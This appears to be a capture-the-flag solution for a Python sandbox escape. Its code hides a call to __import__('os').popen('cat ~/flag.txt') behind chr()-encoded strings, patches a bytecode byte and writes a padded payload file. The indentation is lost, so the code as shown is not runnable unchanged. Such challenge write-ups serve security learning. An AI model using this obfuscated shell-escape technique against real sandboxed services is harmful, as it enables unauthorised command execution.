This can be solved without writing any Python bytecode: just think of it as a eval jail, where you also have to make sure you use the right constants and names in the right order. Functioning code:

```
def f():
chr
ord
globals
locals
getattr
setattr
chr(1)+chr(2)+chr(3)+chr(4)+chr(5)+chr(6)+chr(7)+chr(8)+chr(9)+chr(10)+chr(11)+chr(12)+chr(13)+chr(14)+chr(15)+chr(16)+chr(17)+chr(18)+chr(19)+chr(20)+chr(21)+chr(22)+chr(23)+chr(24)+chr(25)+chr(26)+chr(27)+chr(28)+chr(29)+chr(30)+chr(31)+chr(32)+chr(33)+chr(34)+chr(35)+chr(36)+chr(37)+chr(38)+chr(39)+chr(40)+chr(41)+chr(42)+chr(43)+chr(44)+chr(45)+chr(46)+chr(47)+chr(48)+chr(49)+chr(50)+chr(51)+chr(52)+chr(53)+chr(54)+chr(55)+chr(56)+chr(57)+chr(58)+chr(59)+chr(60)+chr(61)+chr(62)+chr(63)+chr(64)+chr(65)+chr(66)+chr(67)+chr(68)+chr(69)+chr(70)+chr(71)+chr(72)+chr(73)+chr(74)+chr(75)+chr(76)+chr(77)+chr(78)+chr(79)+chr(80)+chr(81)+chr(82)+chr(83)+chr(84)+chr(85)+chr(86)+chr(87)+chr(88)+chr(89)+chr(90)+chr(91)+chr(92)+chr(93)+chr(94)+chr(95)+chr(96)+chr(97)+chr(98)+chr(99)+chr(100)+chr(101)+chr(102)+chr(103)+chr(104)+chr(105)+chr(106)+chr(107)+chr(108)+chr(109)+chr(110)+chr(111)+chr(112)+chr(113)+chr(114)+chr(115)+chr(116)+chr(117)+chr(118)+chr(119)+chr(120)+chr(121)+chr(122)+chr(123)+chr(124)+chr(125)+chr(126)+chr(127)+chr(128)+chr(129)+chr(130)+chr(131)+chr(132)+chr(133)+chr(134)+chr(135)+chr(136)+chr(137)+chr(138)+chr(139)+chr(140)+chr(141)+chr(142)+chr(143)+chr(144)+chr(145)+chr(146)+chr(147)+chr(148)+chr(149)+chr(150)+chr(151)+chr(152)+chr(153)+chr(154)+chr(155)+chr(156)+chr(157)+chr(158)+chr(159)+chr(160)+chr(161)+chr(162)+chr(163)+chr(164)+chr(165)+chr(166)+chr(167)+chr(168)+chr(169)+chr(170)+chr(171)+chr(172)+chr(173)+chr(174)+chr(175)+chr(176)+chr(177)+chr(178)+chr(179)+chr(180)+chr(181)+chr(182)+chr(183)+chr(184)+chr(185)+chr(186)+chr(187)+chr(188)+chr(189)+chr(190)+chr(191)+chr(192)+chr(193)+chr(194)+chr(195)+chr(196)+chr(197)+chr(198)+chr(199)+chr(200)+chr(201)+chr(202)+chr(203)+chr(204)+chr(205)+chr(206)+chr(207)+chr(208)+chr(209)+chr(210)+chr(211)+chr(212)+chr(213)+chr(214)+chr(215)+chr(216)+chr(217)+chr(218)+chr(219)+chr(220)+chr(221)+chr(222)+chr(223)+chr(224)+chr(225)+chr(226)+chr(227)+chr(228)+chr(229)+chr(230)+chr(231)+chr(232)+chr(233)+chr(234)+chr(235)+chr(236)+chr(237)+chr(238)+chr(239)+chr(240)+chr(241)+chr(242)+chr(243)+chr(244)+chr(245)+chr(246)+chr(247)+chr(248)+chr(249)+chr(250)+chr(251)+chr(252)+chr(253)+chr(254)+chr(255)
return getattr(getattr(globals()[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)),chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(99)+chr(97)+chr(116)+chr(32)+chr(126)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()

cc = bytearray(f.__code__.co_code)
cc[97] = 11
with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")
```
